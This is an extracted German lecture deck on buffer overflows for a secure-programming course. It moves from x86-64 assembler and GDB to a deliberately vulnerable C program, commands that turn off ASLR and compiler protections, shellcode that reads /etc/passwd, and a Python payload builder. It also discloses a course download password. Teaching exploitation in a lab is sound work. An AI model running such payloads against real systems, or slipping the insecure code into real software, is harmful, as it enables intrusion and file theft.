Sichere Programmierung

Größe: px
Ab Seite anzeigen:

Download "Sichere Programmierung"

Transkript

1 Sichere Programmierung Lerneinheit 2: Buffer Overflows Prof. Dr. Christoph Karg Studiengang Informatik Hochschule Aalen Sommersemester

2 Vorbereitung Vorbereitung Für den praktischen Teil der Vorlesung wird eine Virtuelle Maschine benötigt. Voraussetzung für den Betrieb der Virtuellen Maschine ist ein 64-Bit Betriebssystem mit installierter VirtualBox Software. Die Virtuelle Maschine steht über Dropbox zum Download bereit. Der Download wird gestartet, indem man auf dieses Wort klickt. Das Passwort für den Zugang lautet oobi0akahc8aiv6n. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 2 / 73

3 Einleitung Einleitung Diese Lerneinheit beschäftigt sich mit Buffer Overflows. Folgende Themen werden bearbeitet: Linux für die AMD/Intel 64-Bit Architektur Einführung in Assembler Debugging mit GDB Analyse von C Programmen Buffer Overflows Erstellen von Shellcode Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 3 / 73

4 64-Bit Linux für x86 Architektur 64-Bit Linux für die x86 Architektur Der Linux Kernel unterstützt seit der Version Bit Prozessoren. Die 64-Bit Prozessorarchitektur wurde von AMD entwickelt (AMD64) und von Intel lizenziert. Eigenschaften eines 64-Bit Prozessors: Die Register des Prozessors haben eine Wortlänge von 64 Bit. Der Prozessor kann Hauptspeicher mit einer Größe von maximal 2 64 Byte adressieren. 64-Bit Prozessoren von AMD und Intel sind abwärtskompatibel zu ihren 32- und 16-Bit Vorgängern. Alle gängigen Linux Distributionen gibt es in einer 64-Bit Version. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 4 / 73

5 64-Bit Linux für x86 Architektur x86-64 Prozessoren x86-64 Prozessoren x86-64 (x64 oder AMD64) ist die 64-Bit Version des Befehlssatzes für x86 Prozessoren. x86-64 ist vollständig abwärtskompatibel zu x86-32 und x Ein x86-64 Prozessor besitzt eine Vielzahl von Registern, die für diverse Aufgaben vorgesehen sind. Bei x86-64 Prozessoren handelt es sich um Complex Instruction Set Computer (CISC), die eine Vielzahl von Maschinensprachebefehlen beherrschen. Intel stellt für seine Prozessoren und die zugehörige Plattform eine umfangreiche Dokumentation bereit [Int17]. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 5 / 73

6 64-Bit Linux für x86 Architektur x86-64 Prozessoren Little-Endian Byte Order Intel Prozessoren verwenden zur Darstellung von Zahlen die Little-Endian Anordnung der Bytes. Bei Little-Endian steht das niederwertigste Byte einer Zahl am Anfang des der Zahl zugeordneten Byteblocks. Beispiel: Die Zahl (0x ) wird beim Datentyp long (4 Byte) wie folgt im Speicher abgelegt: 0x78 0x56 0x34 0x12 Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 6 / 73

7 64-Bit Linux für x86 Architektur x86-64 Prozessoren Darstellung des Hauptspeichers Größste Adresse Byte 3 Byte 2 Byte 1 Byte Bit Offset Byte Offset Kleinste Adresse Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 7 / 73

8 64-Bit Linux für x86 Architektur x86-64 Prozessoren Fundamentale Datentypen Byte High Low Byte Byte Word (2 Byte) 31 High Word Low Word Doubleword (4 Byte) 63 7 High Doubleword Low Doubleword Quadword (8 Byte) Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 8 / 73

9 64-Bit Linux für x86 Architektur x86-64 Prozessoren Register eines x86-64 Prozessors Register zur Ausführung von Programmen: General-Purpose Register Speicherung von Operanden und Zeigern Segment Register Auswahl von Speichersegmenten EFLAGS Register Abfrage des Status des ausgeführten Programms und Steuerung des Prozessors EIP Register Register zur Speicherung der Adresse des nächsten auszuführenden Maschinensprachebefehls Weitere Register: x87 FPU Register Arbeit mit dem arithmetischen Coprozessor MMX und XMM Register Register für parallele Verarbeitung von Ganz- und Fließkommazahlen Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 9 / 73

10 64-Bit Linux für x86 Architektur x86-64 Prozessoren 32-Bit General-Purpose Register Im 32-Bit Modus stehen die Register EAX, EBX, ECX, EDX, ESI, EDI, EBP und ESP zur Verfügung. Im 64-Bit Modus stehen die Register RAX, RBX, RCX, RDX, RSI, RDI, RBP, und RSP sowie R8 bis R15 zur Verfügung. In den Registern werden folgende Informationen gespeichert: Operanden für logische und arithmetische Operationen Operanden für die Berechnung von Speicheradressen Zeiger auf Speicheradressen Die Register kann man mit verschiedenen Wortlängen verwenden. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 10 / 73

11 64-Bit Linux für x86 Architektur x86-64 Prozessoren Verwendungszweck der Register EAX Akkumulator für Operanden und Ergebnisse von Berechnungen EBX Zeiger auf Daten im DS Segment ECX Zähler für Stringoperationen und Schleifen EDX I/O Pointer ESI Zeiger auf eine String Source EDI Zeiger auf eine String Destination ESP Stack Pointer EBP Zeiger auf Daten im Stack (Analog für 64-Bit Register) Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 11 / 73

12 64-Bit Linux für x86 Architektur System V Application Binary Interface System V Application Binary Interface Das System V Application Binary Interface (ABI) legt eine UNIX Systemschnittstelle für kompilierte Anwendungssoftware fest [San97a]. Das AMD64 ABI ist eine Spezifikation für den Aufbau von Programmen für die AMD64 Architektur [Hub+13]. Das AMD64 ABI ist eine Erweiterung/Anpassung des Intel386 ABI [San97b]. Das ABI wurde für die Programmiersprache C erstellt. Es werden unter unterem folgende Punkte standardisiert: Nutzung der Register für Funktionsaufrufe Verwaltung des Stacks Schnittstelle zum Betriebssystem Aufbau der Objektdateien (ELF Format) Aufbau von Systembibliotheken Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 12 / 73

13 64-Bit Linux für x86 Architektur System V Application Binary Interface Linux System Calls Bei einem Intel 64-Bit System nutzt man System-Calls, um auf Funktionen des Betriebssystems zuzugreifen. Ein System-Call wird mit dem Maschinenbefehl syscall ausgeführt. Die Nummer des auszuführenden System-Calls wird in im Register RAX gespeichert. Die Parameter eines System-Calls werden über die Register RDI, RSI, RDX, R8, R9 und R10 übergeben. Der Rückgabewert des System-Calls befindet sich im Register RAX. Im Linux Kernel sind die System-Calls standardisiert. Unter [Cha16] findet man eine Liste aller Systemfunktionen des Linux 64-Bit Kernels. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 13 / 73

14 64-Bit Linux für x86 Architektur Speichermanagement Speichermanagement Bei modernen Betriebssystemen kommt ein virtuelles Speichermanagement zum Einsatz. Jedem Prozess wird ein separater Speicherbereich zugewiesen, der aus Sicht des Prozesses aus einem zusammenhängenden Block besteht. Die Abbildung auf den physikalischen Speicher übernimmt das Betriebssystem. Der Adressraum eines Speicherbereichs wird aufgeteilt in: Text Segment Speicherung des Programms Stack Segment Speicherung von lokalen Variablen, Übergabeparametern und Rücksprungadressen Heap Segment Dynamische Speicherverwaltung Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 14 / 73

15 64-Bit Linux für x86 Architektur Speichermanagement Speicherlayout Lokale Variablen, Übergabeparameter, Rücksprungadressen Wachstum Stack Segment 0xffffffff Dynamische Speicherverwaltung Wachstum Heap Segment Programmcode Read Only Text Segment 0x Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 15 / 73

16 64-Bit Linux für x86 Architektur Speichermanagement Aufbau eines Stack Frames 8 Byte Vorheriger Frame rbp + 8 rbp rbp 8 rsp Rücksprungadresse Alter Wert von rbp Daten verschiedener Art (variable Größe) rsp 128 Red Zone Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 16 / 73

17 64-Bit Linux für x86 Architektur Speichermanagement Aufbau eines Stack Frames Erläuterungen Der Stack wächst von der höchsten Adresse in Richtung der niederwertigsten Adresse. Der Stack wird zur Speicherung von Rücksprungadressen, Funktionsparametern und lokalen Variablen verwendet. Bei einem Funktionsaufruf wird ein Stack Frame auf den Stack gelegt. Beim Beenden der Funktion wird der Frame wieder entfernt. Die im RSP Register gespeicherte Höhe des Stacks muss ein Vielfaches von 16 sein. Unterhalb des aktuellen Stack Frames befindet sich die Red Zone. Dieser Speicherbereich ist für interne Zwecke reserviert. Weitere Details findet man in [Hub+13]. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 17 / 73

18 Assemblersprache Assemblersprache Assembler ist eine maschinennahe Programmiersprache, die direkt auf dem Befehlssatz eines Prozessors aufsetzt. Viele Compiler von höheren Programmiersprachen liefern Assemblercode als Zwischenprodukt. Bei Intel Prozessoren gibt es zwei Assembler Varianten: AT&T Notation Einsatz im GNU Assembler Intel Notation Einsatz bei NASM Die AT&T und die Intel Notation unterscheiden sich an diversen Stellen. Weitere Details findet man [Nar07]. In dieser Lerneinheit wird die Intel Notation verwendet. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 18 / 73

19 Assemblersprache Hello World! Assembler Programm Hello World! 1 section.data 2 HelloMsg: db 10,"Hello World!",10 3 HelloLen: equ $-HelloMsg 4 5 section.text 6 global _start 7 8 _start: 9 mov rax, 1 10 mov rdi, 1 11 mov rsi, HelloMsg 12 mov rdx, HelloLen 13 syscall mov rax, mov rdi, 0 17 syscall Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 19 / 73

20 Assemblersprache Hello World! Aufbau des Assembler Programms Ein Assembler Programm besteht aus mehreren Abschnitten (Sections/Segmente). Der Abschnitt data enthält statische initialisierte Variablen. Der Abschnitt rodata enthält statische initialisierte Konstanten. Der Abschnitt text enthält das Programm. Der Abschnitt bss enthält statische nicht initialisierte Variablen. Neben den genannten existieren noch weitere Abschnitte. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 20 / 73

21 Assemblersprache Hello World! Die Data Sektion Die Data Sektion enthält Datenblöcke, die mit den vorgegebenen Werten initialisiert werden. Die Data Sektion ist schreibbar, d.h., die Variablen können vom Programm geändert werden. Die Daten sind anhand ihres Typs initialisierbar: db Folge von Bytes (String) dw Folge von Wörtern (mit je 2 Byte) dd Folge von Doppel-Wörtern (mit je 4 Byte) Fließkommazahlen werden automatisch in das passende Format konvertiert. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 21 / 73

22 Assemblersprache Hello World! Die Text Sektion Die Text Sektion enthält das Assemblerprogramm. Jede Zeile enthält einem Befehl mit zugehörigen Operanden. Eine Zeile kann mit einer Sprungmarke versehen werden. Kommentare beginnen mit einem Semikolon (;). In dieser Lerneinheit wird die Intel Notation verwendet. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 22 / 73

23 Assemblersprache Hello World! Im Programm benutzte System-Calls System-Call sys_write: Funktion: Schreiben von Daten in eine Datei. Parameter: RAX: 1 (Nummer des System-Calls) RDI: File Descriptor (1 stdout) RSI: Zeiger auf die Daten RDX: Anzahl der zu schreibenden Bytes System-Call sys_exit: Funktion: Verlassen des Programms. Parameter: RAX: 60 (Nummer des System-Calls) RDI: Rückgabewert (Fehlercode) Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 23 / 73

24 Assemblersprache Hello World! Übersetzen des Assembler Programms Folgende Schritte sind zum Ausführen des Programms notwendig: 1. Assemblieren (inklusive Debugging Informationen): > nasm -f elf64 -F dwarf -g hello64bit.asm 2. Linken: > ld -o hello64bit hello64bit.o 3. Ausführen: >./ hello64bit Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 24 / 73

25 Assemblersprache Debugging mit GDB Debugging mit GDB Der GNU Debugger (GDB) ist der Standard-Debugger des GNU Projekts. GDB ist ein kommandozeilenorientiertes Werkzeug. GDB wird als Backend in Entwicklungsumgebungen wie z.b. Eclipse benutzt. GDB unterstützt das Debugging von höheren Programmiersprachen wie C, C++ und Fortran. Um Programme zu debuggen, sollte der entsprechende Quellkode mit Debugging Informationen übersetzt werden. Unter [GDB13] findet man umfangreiche Dokumentationen zu GDB, insbesondere das GDB Handbuch [SPS10]. Das GDB Cheatsheet beinhaltet die wichtigsten GDB Befehle [Hai13]. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 25 / 73

26 Analyse von C Programmen Analyse von C Programmen Die Programmiersprache C ist die bevorzugte Sprache zur Entwicklung von systemnahen Linux Anwendungen. Die C Standardbibliothek stellt eine Vielzahl von Funktionen zur Arbeit mit dem Betriebssystem zur Verfügung. Mit der GNU Compiler Collection (GCC) stehen leistungsfähige Werkzeuge für die Programmierung in C und C++ zur Verfügung. GCC ist in jeder Linux Distribution enthalten. Darüber hinaus gibt es zahlreiche Werkzeuge, um C Programme und den zugehörigen Binärkode zu analysieren. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 26 / 73

27 Analyse von C Programmen Ziel hinter Analyse Ziel: Analyse der Codeerzeugung des GCC Compilers. Zu klärende Fragen: Wie ist ein von GCC erzeugtes Programm prinzipiell aufgebaut? Wie werden lokale Variablen verarbeitet? Wie läuft ein Funktionsaufruf ab? Werkzeuge: GCC GDB Objdump Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 27 / 73

28 Analyse von C Programmen Hello World C Programm Hello World! Code: helloworld.c 1 #include <stdio.h> 2 3 int main() { 4 printf("hello World!"); 5 return 0; 6 } Übersetzen (mit Debug Infos): $ gcc -g -c helloworld.c $ gcc -o helloworld helloworld.o Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 28 / 73

29 Analyse von C Programmen Hello World Analyse der Binärdatei Das Werkzeug objdump ist für die Analyse von Binärdateien vorgesehen. Aufruf: objdump <option(s)> <file(s)> Nützliche Parameter: -d Disassemblieren der ausführbaren Teile der Datei -D Disassemblieren der kompletten Datei -M "intel" Ausgabe von Assember in der Intel Notation -S Quellkode mit Assemblerkode kombinieren -s Inhalt aller Abschnitte der Datei ausgeben -j <section> Anzeige des Abschnitts section Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 29 / 73

30 Analyse von C Programmen Hello World Analyse von helloworld Befehle: $ objdump -s -j.rodata helloworld.o $ objdump -d -M "intel" -S helloworld.o $ objdump -d -M "intel" -S helloworld $ gdb helloworld Bemerkungen: In der Objektdatei fehlen die korrekten Adressen. Die printf-funktionen wird durch einen Sprungbefehl betreten, der Code wird beim Linken adressiert. Im ausführbaren Programm ist zusätzlicher Code für die Nutzung der C-Bibliotheken enthalten. Die Ausführung von main() ist ein Funktionsaufruf, bei dem ein Stackframe erzeugt wird. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 30 / 73

31 Analyse von C Programmen Kommandozeilenparameter Übergabe von Kommandozeilenparametern Code: cmdline.c 1 #include <stdio.h> 2 3 int main( int argc, char *argv[] ) { 4 5 printf("&argc = %p\n", &argc); 6 printf("&argv = %p\n", &argv); 7 8 if( argc == 2 ) { 9 printf("argv[1] = %s\n", argv[1]); 10 } 11 else { 12 printf("bitte ein Argument übergeben.\n"); 13 } 14 } Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 31 / 73

32 Analyse von C Programmen Kommandozeilenparameter Analyse von cmdline Befehle: $ objdump -s -j.rodata cmdline.o $ objdump -d -M "intel" -S cmdline.o $ objdump -d -M "intel" -S cmdline $ gdb cmdline Bemerkungen: Die Kommandozeilenparameter werden als ein Array von Strings übergeben. Die Daten befinden sich unten im Stack, unterhalb des ersten Stack Frames. Die Formatierungsstrings des Befehls printf befinden sich im.rodata Segment. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 32 / 73

33 Analyse von C Programmen Lokale Variablen Lokale Variablen Code: calc.c 1 #include <stdio.h> 2 3 int main() { 4 long a=4; 5 long b=9; 6 long c = 17*a + ((13-b)/2 * (5+a)); 7 8 printf("a = %ld, b = %ld, c = %ld\n", a, b, c); 9 return 0; 10 } Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 33 / 73

34 Analyse von C Programmen Lokale Variablen Analyse von calc Befehle: $ objdump -s -j.rodata calc.o $ objdump -d -M "intel" -S calc.o $ objdump -d -M "intel" -S calc $ gdb calc Bemerkungen: Die lokalen Variablen werden im aktuellen Stack Frame gespeichert. Der Compiler optimiert den arithmetischen Ausdruck. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 34 / 73

35 Analyse von C Programmen Funktionsaufrufe Funktionsaufrufe Code: functioncall.c 1 #include <stdio.h> 2 3 int f(int a, int b, int c, int d, 4 int e, int f, int g, int h) 5 { 6 int x = a + b + c + d; 7 int y = e + f + g + h; 8 9 return x+y; 10 } int main() { 13 int z = f(1,2,3,4,5,6,7,8); printf("z = %u\n", z); 16 return 0; 17 } Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 35 / 73

36 Analyse von C Programmen Funktionsaufrufe Analyse von functioncall Befehle: > objdump -s -j.rodata functioncall.o > objdump -d -M "intel" -S functioncall.o > objdump -d -M "intel" -S functioncall > gdb functioncall Bemerkungen: Die ersten sechs Parameter der Funktion werden über die Register übergeben. Alle weiteren Parameter werden über den Stack übergeben. Das Ergebnis des Funktionsaufrufs wird über das RAX Register zurückgegeben. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 36 / 73

37 Buffer Overflows Buffer Overflows Ziel: Einschleusen und Ausführen von Schadcode über ein kompiliertes C-Programm. Beobachtung: Wird ein C-Programm ausgeführt, dann befindet sich zu jedem Zeitpunkt der Ausführung mindestens ein Stack Frame auf dem Stack. Die in einem Stack Frame gespeicherte Rücksprungadresse befindet sich im Hauptspeicher hinter den lokalen Variablen. Ansatz: Ausführen eines Buffer Overflows, d.h., Überschreiben der Rücksprungadresse durch Schreiben einer zu großen Datenmenge in eine lokale String Variable. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 37 / 73

38 Buffer Overflows Herangehensweise 1. Entwicklung eines geeigneten C-Programms 2. Deaktivierung der Sicherheitseinstellungen in Linux 3. Entwicklung eines einfachen Schadkodes Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 38 / 73

39 Buffer Overflows Entwicklung eines passenden C-Programms Entwicklung eines passenden C-Programms Vorgaben: Das Programm muss eine lokale String Variable besitzen. Das Programm muss eine Eingabe des Benutzers in die lokale Variable kopieren. Die Eingabe des Nutzers wird über die Kommandozeile übergeben. Umsetzung: hackme.c (siehe nächste Folie) Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 39 / 73

40 Buffer Overflows Entwicklung eines passenden C-Programms Programm hackme.c Code: hackme.c 1 #include <stdio.h> 2 #include <string.h> 3 4 void print(char* s) { 5 char buffer[200]; 6 7 strcpy(buffer, s); 8 printf("anfang von buffer: %p\n", buffer); 9 printf("inhalt von buffer: %s\n", buffer); 10 } int main(int argc, char **argv) { 13 if (argc == 2) { 14 print(argv[1]); 15 } else { 16 printf("bitte ein Argument übergeben.\n"); 17 } 18 return 0; 19 } Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 40 / 73

41 Buffer Overflows Entwicklung eines passenden C-Programms Programm hackme.c (Forts.) Übersetzen: > gcc -g -o hackme hackme.c Bemerkungen: Bei der Nutzung der strcpy Funktion wird nicht überprüft, ob die zu kopierenden Daten in den Buffer passen. Idee: Kopiere mehr Daten als der Buffer aufnehmen kann und analysiere die Auswirkungen. Die zu kopierenden Daten werden mit einem Python Skript erzeugt. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 41 / 73

42 Buffer Overflows Entwicklung eines passenden C-Programms Idee hinter dem Buffer Overflow Beim Aufruf der Funktion print() wird ein neuer Stack Frame angelegt. Im Stack Frame befindet sich der Speicher der lokalen Variable buffer unterhalb der Rücksprungadresse (siehe nächste Folie). Vor Ausführung des strcpy Befehls wird nicht überprüft, ob der zu kopierende String s eine Länge von höchstens 200 Byte hat. Durch einen zu langen String kann man die Rücksprungadresse überschreiben. Enthält dieser String ausführbaren Code und wird die Rücksprungadresse passend überschrieben, dann wird dieser Code ausgeführt (siehe übernächste Folie). Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 42 / 73

43 Buffer Overflows Entwicklung eines passenden C-Programms Idee hinter dem Buffer Overflow (Forts.) 8 Byte rbp + 8 rbp rbp 8 &buffer rsp rsp 128 Rücksprungadresse Alter Wert von rbp buffer Red Zone Stack Frame nach Aufruf von print() Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 43 / 73

44 Buffer Overflows Entwicklung eines passenden C-Programms Idee hinter dem Buffer Overflow (Forts.) 8 Byte rbp + 8 rbp rbp 8 &buffer rsp rsp 128 Rücksprungadresse &buffer Alter Wert von rbp Shellcode (mit passendem Padding) buffer Red Zone Stack Frame nach Aufruf von print() Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 44 / 73

45 Buffer Overflows Entwicklung eines passenden C-Programms Skript printa.py Code: printa.py #! /usr/bin/env python2 import sys default_size=200 if len(sys.argv)==2: size=int(sys.argv[1]) if (size <0): size=default_size else: size=default_size print "A"*size Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 45 / 73

46 Buffer Overflows Entwicklung eines passenden C-Programms Ausführen des Skripts Benutzung des Skripts: > hackme `printa.py 200` Alternativ: > hackme $(printa.py 200) Beobachtung: Die Adresse von buffer ändert sich mit jedem Aufruf. Dies ist ein Indiz, dass im Linux Kernel Address Space Layout Randomization (ASLR) aktiviert ist. ASLR ist eine Schutzfunktion gegen Exploits wie z.b. Buffer Overflows. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 46 / 73

47 Buffer Overflows Deaktivieren von Sicherheitsmechanismen ASLR deaktivieren Der aktuelle Zustand der ASLR Konfiguration kann über die Datei /proc/sys/kernel/randomize_va_space ausgelesen und geändert werden. Arten der Randomisierung: 0 ASLR deaktiviert 1 Moderate Randomisierung 2 Komplette Randomisierung Befehl zum Deaktivieren von ASLR: root > echo "0" > /proc/sys/kernel/randomize_va_space Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 47 / 73

48 Buffer Overflows Deaktivieren von Sicherheitsmechanismen Abschalten weiterer Sicherheitsmechanismen Der GCC Compiler baut diverse Sicherheitsfunktionen in das ausführbare Programm ein. Beispiele: Der Stack Protector erkennt Stack Smashing Attacken und bricht das Programm ab. Es wird die Ausführung von Code verhindert, der sich im Stack Segment befindet. Diese Sicherheitsfunktionen lassen sich zur Compiler-Optionen deaktivieren. Befehl: > gcc -g -fno-stack -protector -z execstack -o hackme hackme.c Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 48 / 73

49 Buffer Overflows Shellcode Entwicklung des Shellcode Ein Shellcode ist ein kleines Assembler Code Fragment. Ursprünglich wurde Shellcode verwendet, um eine Shell mit Root Zugriff zu starten. Ein Shellcode darf keine Null Bytes enthalten, da er als String übertragen wird. Da ein Shellcode über Umwege ausgeführt wird, müssen die Daten geschickt bereitgestellt werden. Eine der ersten Anleitungen zur Erstellung von Shellcodes stammt von AlephOne [One96]. Dieser Teil der Vorlesung basiert auf der Anleitung von Mr. Un1k0d3r [Un114]. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 49 / 73

50 Buffer Overflows Shellcode Aufbau des Shellcodes 1 BITS 64 2 ; Author Mr. Un1k0d3r - RingZer0 Team 3 ; Read /etc/passwd Linux x86_64 Shellcode 4 ; Shellcode size 82 bytes 5 6 global _start 7 8 section.text 9 10 _start: 11 jmp _push_filename _readfile: 14 ; syscall open file 15 pop rdi ; pop path value 16 ; NULL byte fix 17 xor byte [rdi + 11], 0x41 Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 50 / 73

51 Buffer Overflows Shellcode Aufbau des Shellcodes (Forts.) 19 xor rax,rax 20 add al,2 21 xor rsi,rsi ; set 0_RDONLY flag 22 syscall ; syscall read file 25 sub sp,0xfff 26 lea rsi,[rsp] 27 mov rdi,rax 28 xor rdx,rdx 29 mov dx,0xfff ; size to read 30 xor rax,rax 31 syscall Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 51 / 73

52 Buffer Overflows Shellcode Aufbau des Shellcodes (Forts.) 33 ; syscall write to stdout 34 xor rdi,rdi 35 add dil,1 ; set stdout fd = 1 36 mov rdx,rax 37 xor rax,rax 38 add al,1 39 syscall ; syscall exit 42 xor rax,rax 43 add al,60 44 syscall _push_filename: 47 call _readfile 48 path: db "/etc/passwda" Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 52 / 73

53 Buffer Overflows Shellcode Analyse des Shellcodes Der Shellcode gibt den Inhalt der Datei /etc/password aus. Der Code teilt sich in fünf Teile auf: 1. Berechnung der Adresse, ab der der Dateiname gespeichert ist (Zeilen 10 11, 46 48, 11) 2. Öffnen der Datei (Zeilen 14 22) 3. Auslesen der Datei (Zeilen 25 31) 4. Ausgabe der Datei (Zeilen 33 39) 5. Beenden des Programms (Zeilen 41 44) Es kommen mehrere System Calls zum Einsatz. Die Adresse des Datenblocks wird über den Stack (Rücksprungadresse) ermittelt. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 53 / 73

54 Buffer Overflows Shellcode Übersetzen des Shellcodes (Variante 1) 1. Assemblierung des Shellcodes: > nasm -f elf64 un1k0d3r -shellcode.asm -o un1k0d3r -shellcode.o 2. Extrahieren des Shellcodes und Ausgabe als String: > for i in $(objdump -d un1k0d3r -shellcode.o \ grep "^ " cut -f2); do \ echo -n '\x'$i; done; echo Hinweis: Nach dem Backslash muss <Enter> eingegeben werden. Alternativ kann man den kompletten Befehl auch in eine Zeile schreiben. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 54 / 73

55 Buffer Overflows Shellcode Übersetzen des Shellcodes (Variante 2) 1. Assemblierung des Shellcodes: > nasm -f bin un1k0d3r -shellcode.asm -o un1k0d3r -shellcode.bin 2. Ausgabe des Shellcodes: > dumpshellcode.py un1k0d3r -shellcode.bin Bemerkungen: Das Python Skript befindet sich auf der nächsten Folie. Bei dieser Variante liegt der Shellcode in binärer Form vor und kann auf verschiedene Arten weiter verarbeitet werden. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 55 / 73

56 Buffer Overflows Shellcode Skript dumpshellcode.py #! /usr/bin/env python2 import sys if len(sys.argv)!=2: print "Usage:", sys.argv[0], "<filename >" sys.exit(1) f=open(sys.argv[1], "r") shellcode=bytearray(f.read()) f.close() s="" for b in shellcode: s += "\\x{0:02x}".format(b) print s print "\nshellcode length:", len(shellcode), "Byte" Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 56 / 73

57 Buffer Overflows Shellcode Ergebnis Shellcode: \xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02 \x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d \x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f \x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01 \x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31 \xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65 \x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41 Länge: 82 Byte Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 57 / 73

58 Buffer Overflows Shellcode Einbetten des Shellcodes Probleme: Der Shellcode ist mi 82 Byte zu kurz, um einen Buffer Overflow für die lokale Variable buffer zu erzeugen. Der Shellcode enthält keine Sprungadresse und ist somit noch nicht einsetzbar. Ansatz: Entwicklung eines Python Skripts, welches den Shellcode mittels Padding so verlängert, dass ein Buffer Overflow auftritt, und am Ende eine passende Rücksprungadresse anfügt, um den Shellcode zu starten. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 58 / 73

59 Buffer Overflows Shellcode Skript un1k0d3r-payload.py #! /usr/bin/python2 import sys if len(sys.argv)==3: size=int(sys.argv[1]) if size <0: print "Invalid padding size:", size, " (must be >=0)" address=sys.argv[2]. decode("hex") address=address[::-1] else: print "Usage:", sys.argv[0], "<padding size > <address >" print "\npadding size: size of the padding [bytes]" print " address : return address (hex)\n\n" Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 59 / 73

60 Buffer Overflows Shellcode Skript un1k0d3r-payload.py (Forts.) shellcode="\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02" \ + "\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24" \ + "\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f" \ + "\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0" \ + "\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff" \ + "\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" print shellcode + "A" * size + address Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 60 / 73

